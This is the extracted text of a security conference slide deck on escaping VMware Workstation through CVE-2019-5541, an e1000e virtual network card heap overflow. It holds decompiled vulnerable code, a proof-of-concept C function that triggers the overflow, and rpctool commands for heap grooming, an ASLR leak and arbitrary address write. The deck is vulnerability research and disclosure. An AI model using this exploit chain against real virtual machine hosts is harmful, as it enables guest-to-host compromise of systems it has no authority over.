A CTF-Style Escape Journey on VMware Workstation [email protected] About us ● Beijing Chaitin Tech Co., Ltd(@ChaitinTech) ○ https://chaitin.cn/en ○ https://realworldctf.com/ ● Chaitin Security Research Lab ○ Pwn2Own 2017 3rd place ○ GeekPwn 2015/2016/2018/2019 awardees ■ PS4 Jailbreak, Android rooting, IoT Offensive Research, ESXi Escape ○ CTF players from team b1o0p, Tea Deliverers ■ 2nd place at DEFCON 2016 ■ 3rd place at DEFCON 2019 ■ 1st place at HITCON 2019 Before we start ● VMM(Hypervisor):Virtual Machine Monitor ● Guest OS ● Host OS What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS ... Normally, all of the sensitive behaviors of guest OS will be sanitized by the hypervisor What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS ... What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS exploitation ... What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS exploitation Execute arbitrary codes on the host network connectio ... Introduction of VMware Workstation Architecture Host OS Physical Hardware User mode Architecture after vmware runs Host OS Physical Hardware User mode VM Monitor vmware-vmx vmmon VM VM VM Host World VM World Architecture after vmware runs Host OS Physical Hardware User mode VM Monitor vmware-vmx vmmon VM VM VM Host World VM World Architecture after vmware runs Host OS Physical Hardware User mode VM Monitor vmware-vmx vmmon VM VM VM Host World VM World Attack Surface Graphic Ethernet USB SATA SCSI COM Attack in Recent Years (Pwn2Own 2019) Graphic Ethernet USB SATA SCSI COM (TianfuCup 2018) (Pwn2Own 2017) Our Target (Pwn2Own 2019) Graphic Ethernet USB SATA SCSI COM (TianfuCup 2018) (Pwn2Own 2017) CVE-2019-5541 Analysis How e1000e works? Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers How e1000e works? Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers write How e1000e works? Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers write mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer How e1000e works? e1000e virtual network card mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer union{ struct{ uint64_t buf_addr; uint64_t size; }transfer_data; struct{ uint8_t ipcss; //IP checsum start uint8_t ipcso; //IP checsum offset uint16_t ipcse; //IP checsum end uint8_t tucss; //TCP checsum start uint8_t tucso; //TCP checsum offset uint16_t tucse; //TCP checsum end uint32_t cmd_and_length; uint8_t status; //Descriptor status uint8_t hdr_len; //Header length uint16_t mss; //Maximum segment size }prop_desc; }tranfer; How e1000e works? e1000e virtual network card mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ... How e1000e works? e1000e virtual network card mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ... CVE-2019-5541 void __usercall e1000_process_TXD_CMD_DEXT() { ... packet = e1000_init_packet(...); if(packet){ ... e1000_send_packet(...,packet); } ... } CVE-2019-5541 void __usercall e1000_init_packet(...) { ... if(flag_if_not_ipv6_GSO){ ip_checsum_start = ipcss; if(ipcss > hdr_size || ipcso > hdr_size || ipcse > hdr_size-ipcse || hdr_size - ipcso < 2) goto error ) } else{ ip_checksum_start = ipcss; } ... } CVE-2019-5541 void __usercall e1000_init_packet(...) { ... if(flag_if_not_ipv6_GSO){ ip_checsum_start = ipcss; if(ipcss > hdr_size || ipcso > hdr_size || ipcse > hdr_size-ipcse || hdr_size - ipcso < 2) goto error ) } else{ ip_checksum_start = ipcss; } ... } flag_if_not_ipv6_GSO will be false when guest is sending IPv6 Large Segmentation Offload packets CVE-2019-5541 void __usercall e1000_init_packet(...) { ... if(flag_if_not_ipv6_GSO){ ip_checsum_start = ipcss; if(ipcss > hdr_size || ipcso > hdr_size || ipcse > hdr_size-ipcse || hdr_size - ipcso < 2) goto error ) } else{ ip_checksum_start = ipcss; } ... } No check of ipcss anymore! CVE-2019-5541 e1000e virtual network card mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ... where does ipcss come from Preliminary Exploit Primitive void __usercall e1000_init_packet(...) { ... hdr_size = hdr_len + vlan_size; //vlan_size will be 4 or 0 sigment_num = (mss + pay_size - 1) / mss; ... simple_segment_size = (mss+hdr_size+0x11)&0xfffffff8; packet = malloc(sigment_num * simple_segment_size); ... if(mss){ buf = &packet[ipcss+10]; data = hdr + mss - ipcss; if(flag_0) *(buf+2) = htons(data); } ... } Preliminary Exploit Primitive void __usercall e1000_init_packet(...) { ... hdr_size = hdr_len + vlan_size; //vlan_size will be 4 or 0 sigment_num = (mss + pay_size - 1) / mss; ... simple_segment_size = (mss+hdr_size+0x11)&0xfffffff8; packet = malloc(sigment_num * simple_segment_size); ... if(mss){ buf = &packet[ipcss+10]; data = hdr + mss - ipcss; if(flag_0) *(buf+2) = htons(data);//heap overflow write happens! } ... } Preliminary Exploit Primitive void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO); ... Preliminary Exploit Primitive void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... Preliminary Exploit Primitive void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... Preliminary Exploit Primitive void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... We can do “special” heap out-of-bounds subtraction Example void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... 0x000000a0 Example void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... 0x000000a0 Example void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... 0x000000a0 Example void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... 0x0000ff9f How to Exploit? Limitations e1000e virtual network card mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ... where does ipcss come from Limitations e1000e virtual network card mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer union{ struct{ uint64_t buf_addr; uint64_t size; }transfer_data; struct{ uint8_t ipcss; //IP checsum start uint8_t ipcso; //IP checsum offset uint16_t ipcse; //IP checsum end uint8_t tucss; //TCP checsum start uint8_t tucso; //TCP checsum offset uint16_t tucse; //TCP checsum end uint32_t cmd_and_length; uint8_t status; //Descriptor status uint8_t hdr_len; //Header length uint16_t mss; //Maximum segment size }prop_desc; }tranfer; Limitations e1000e virtual network card mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop; packet transfer union{ struct{ uint64_t buf_addr; uint64_t size; }transfer_data; struct{ uint8_t ipcss; //IP checsum start uint8_t ipcso; //IP checsum offset uint16_t ipcse; //IP checsum end uint8_t tucss; //TCP checsum start uint8_t tucso; //TCP checsum offset uint16_t tucse; //TCP checsum end uint32_t cmd_and_length; uint8_t status; //Descriptor status uint8_t hdr_len; //Header length uint16_t mss; //Maximum segment size }prop_desc; }tranfer; ipcss is only one byte! How far can we overwrite? void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... How far can we overwrite? void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... The offset we overwrite < simple_segment_size*(sigment_num-1)+0x100+10+2 Can we control the content? void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... Can we control the content? void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ... No,we can do “special” heap out-of-bounds subtraction Here comes a idea ● We need a structure ○ The structure must have buffer and size. ○ We can pad to its’ buffer easily. ● If we can locate a structure follow the packet buffer by heap fengshui ○ We can overwrite the size of the structure. ○ We can do continuous out-of-bounds writing on heap. Here comes a idea ● We need a structure ○ The structure must have buffer and size. ○ We can pad to its’ buffer easily. ● If we can locate a structure follow the packet buffer by heap fengshui ○ We can overwrite the size of the structure. ○ We can do continuous out-of-bounds writing on heap. ● We need to find a structure first Useful Structure on Heap:SVGA mob struct SVGA_mob{ uint32_t cmid; . . . void * guest_memory;//offset: 0x50 uint32_t size; //offset: 0x58 . . . } SVGA mob is used in SVGA 3d command. It can be easily used to copy data from one mob to another. Total size: 0x60 Useful Structure on Heap:SVGA mob struct SVGA_mob{ uint32_t cmid; . . . void * guest_memory;//offset: 0x50 uint32_t size; //offset: 0x58 . . . } SVGA mob is used in SVGA 3d command. It can be easily used to copy data from one mob to another. But it was removed from heap in recent version! Total size: 0x60 Useful Structure on Heap:Resource Container struct SVGA_resource_container{ uint32_t RCtype; . . . void * DataBuffer . . . } Resource Container is used in SVGA 3d command. Total size: xxx Useful Structure on Heap:Resource Container struct SVGA_resource_container{ uint32_t RCtype; . . . void * DataBuffer . . . } Resource Container is used in SVGA 3d command. But it’s too large! Total size: xxx Useful Structure on Heap:Resource Container struct SVGA_resource_container{ uint32_t RCtype; . . . void * DataBuffer . . . } Resource Container is used in SVGA 3d command. But it’s too large! Note: Blackhat EU:《Straight outta VMware: Modern exploitation of the SVGA device for guest-to-host escape exploits》 ZDI: 《Taking Control of VMware through the Universal Host Control Interface》 Total size: xxx Useful Structure on Heap:DnD/CP V3 struct DnDV3{ void * vtable; . . . struct RpcV3Util mUtil;//offset: 0x30 } Total size: 0xa8 Useful Structure on Heap:DnD/CP V3 struct DnDV3{ void * vtable; . . . struct RpcV3Util mUtil;//offset: 0x30 } Total size: 0xa8 struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 } Useful Structure on Heap:DnD/CP V3 struct DnDV3{ void * vtable; . . . struct RpcV3Util mUtil;//offset: 0x30 } Total size: 0xa8 struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 } struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . } Choos victim structure struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 } ● We can initialize and pad buffer of mRecvBuf ○ Using RPCI command dnd.transport struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . } Choos victim structure struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 } ● We can initialize and pad buffer of mRecvBuf ○ Using RPCI command dnd.transport ● We can overwrite the totalSize! struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . } Choos victim structure struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 } ● We can initialize and pad buffer of mRecvBuf ○ Using RPCI command dnd.transport ● We can overwrite the totalSize! ● Once we overwrite the totalSize, we can do continuous out-of-bounds writing on heap! struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . } A PoC of it void e1000_overflow_write_size_0xa0(uint32_t offset) { //Make sure the past packets have been sent; ... //create first packet to initialize e1000e properties desc = (struct context_desc *)&packet[0]; desc->cmd = 0x1f|(1<<26)|(1<<29)|(1<<24); desc->hdr_len=0x30; desc->mss = 0x10; desc->ipcss = offset-0xa-0x4-((desc->hdr_len+desc->mss+0x11)&0xfffffff8); //create second packet to send ipv6 GSO packet data = (struct data_desc *)&packet[2]; data->len = 0x800|(1<<26)|(1<<25)|(1<<29)|(1<<20)|(1<<24); //Then send the packets ... } Before we start ● We will use two RPCI commands to help us defeat ASLR ○ info-set guestinfo.KEY value ○ info-get guestinfo.KEY Before we start ● We will use two RPCI commands to help us defeat ASLR ○ info-set guestinfo.KEY value ○ info-get guestinfo.KEY ● Example f1yyy@ubuntu:~/vmware-rpctool “info-set guestinfo.test 1234” f1yyy@ubuntu:~/vmware-rpctool “info-get guestinfo.test” 1234 f1yyy@ubuntu:~/ Before we start ● We will use dnd.transport to control DnDV3.RpcV3Util.mRecvBuf ● Example f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” Before we start ● Example f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type; uint32_t seqNum; uint32_t totalSize; uint32_t payloadSize; uin32_t offset; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=NULL; uint64_t totalSize=0; uint64_t offset=0; . . . } Before we start ● Example f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=NULL; uint64_t totalSize=0; uint64_t offset=0; . . . } Before we start ● Example f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=NULL; uint64_t totalSize=0; uint64_t offset=0; . . . } Transfer 0x10 data Before we start ● Example f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=malloc(0xa8); uint64_t totalSize=0xa8; uint64_t offset=0x10; . . . } Transfer 0x10 data Before we start ● Example f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0x10; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=malloc(0xa8); uint64_t totalSize=0xa8; uint64_t offset=0x10; . . . } Transfer another 0x10 data Before we start ● Example f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0x10; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=malloc(0xa8); uint64_t totalSize=0xa8; uint64_t offset=0x20; . . . } Transfer another 0x10 data Exploit ● For Windows Low Fragmented Heap, chunk of size 0xa8 will be allocated in the same bucket and in a contiguous address space. Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Allocate DnD structure ○ tools.capability.dnd_version 3 ○ vmx.capability.dnd_version Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Allocate DnD structure ○ tools.capability.dnd_version 3 ○ vmx.capability.dnd_version Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Then initialize mRecvBuffer by using dnd.transport Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . }mRecvBuf; Free Exploit ● Then initialize mRecvBuffer by using dnd.transport Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer=malloc(0xa0) uint64_t totalSize=0xa0 uint64_t offset=0 . . . }mRecvBuf; Free Exploit ● Then initialize mRecvBuffer by using dnd.transport Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer=malloc(0xa0) uint64_t totalSize=0xa0 uint64_t offset=0 . . . }mRecvBuf; Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf ○ e1000_overflow_write_size_0xa0(0x130) Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf ○ e1000_overflow_write_size_0xa0(0x130) Free DnD Buffer Free Packet Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf ○ e1000_overflow_write_size_0xa0(0x130) Free DnD Buffer Free Packet Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Out-of-bound write Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf ○ e1000_overflow_write_size_0xa0(0x130) ○ The packet will be free after sending Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf ○ Try e1000_overflow_write_size_0xa0(0x130) many times Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf ○ Try e1000_overflow_write_size_0xa0(0x130) many times ○ Once the packet locates just before DnD v3 Free DnD Buffer Free Free Free Free Free Packet DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free totalSize=0x00a0 Before out-of-bound write Free Free Exploit ● Now let’s try to overwrite the Totalsize of mRecvBuf ○ Try e1000_overflow_write_size_0xa0(0x130) many times ○ Once the packet locates just before DnD v3 Free DnD Buffer Free Free Free Free Free Packet DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free totalSize=0xff9f After out-of-bound write Free Free Exploit ● Now we can overwrite continuous heap memory ● But we still need to defeat ASLR Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free After out-of-bound write totalSize=0xff9f Exploit ● To defeat ASLR ○ Padding heap with info-set ■ info-set guestinfo.XXX A*0xa0 Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Exploit ● To defeat ASLR ○ Padding heap with info-set ■ info-set guestinfo.XXX A*0xa0 Free DnD Buffer Free AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free Exploit ● To defeat ASLR ○ Overwrite heap memory after DnD Buffer Free DnD Buffer Free AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free Exploit ● To defeat ASLR ○ Overwrite heap memory after DnD Buffer Free DnD Buffer BBBBB... AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free Exploit ● To defeat ASLR ○ Overwrite heap memory after DnD Buffer ○ Check if overflow the heap we use by “info-get guestinfo.XXX” Free DnD Buffer BBBBB... AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free Exploit ● To defeat ASLR ○ Once we overwrite the heap we use, we can confirm which heap will leak Free DnD Buffer BBBBB... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBAA... Free Free Exploit ● To defeat ASLR ○ Now,overwrite the heap until we can leak the vtable of DnDv3 Free DnD Buffer BBBBB... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBAA... Free Free Exploit ● To defeat ASLR ○ Now,overwrite the heap until we can leak the vtable of DnDv3 Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... Free Free Exploit ● To defeat ASLR ○ Now,overwrite the heap until we can leak the vtable of DnDv3 Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... struct DnD_V3{ void * vtable; . . . Free Free Exploit ● Arbitrary Address Write ○ We can overwrite the mRecvbuffer in DnD v3 to do Arbitrary Address Write. Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... struct DnDTransportBuffer{ . . . buffer = xxxxxxx totalSize=0xffxx . . . Free Free Exploit ● Arbitrary Address Write ○ We can overwrite the mRecvbuffer in DnD v3 to do Arbitrary Address Write. Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... Fake DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... struct DnDTransportBuffer{ . . . buffer = 0x41414141 totalSize=0x1000 . . . Free Free Problem ● We will fail in some situations ○ If DnD Buffer locate behind structures. Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free DnD Buffer Free Free Free Free Free Problem ● We will fail in some situations ○ if chunk before DnD v3 has been allocated Free Free Free Free Free Free Free Allocated DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Problem ● We will fail in some situations ○ if there is no leak chunk between DnD v3 buffer and DnD v3 structrue Free Free AAAAA... Free Free Free Free DnD Buffer DnD v3 Free AAAAA... Free Free AAAAA... Free Free Free Free Free Free Free Free Free Free Demo Conclusion ● Low-quality vulnerabilities can also be exploited by utilizing sophisticated heap manipulation techniques ● It will be harder and harder to crack VMware’s virtual machine ○ Shallow and high-quality bugs are killing by VMware and research community ○ VMware is removing exploitation-friendly objects continuously ○ Exploiting low-quality bugs requires us to dive into the internal mechanisms Thanks! @f1yYY__
pdf
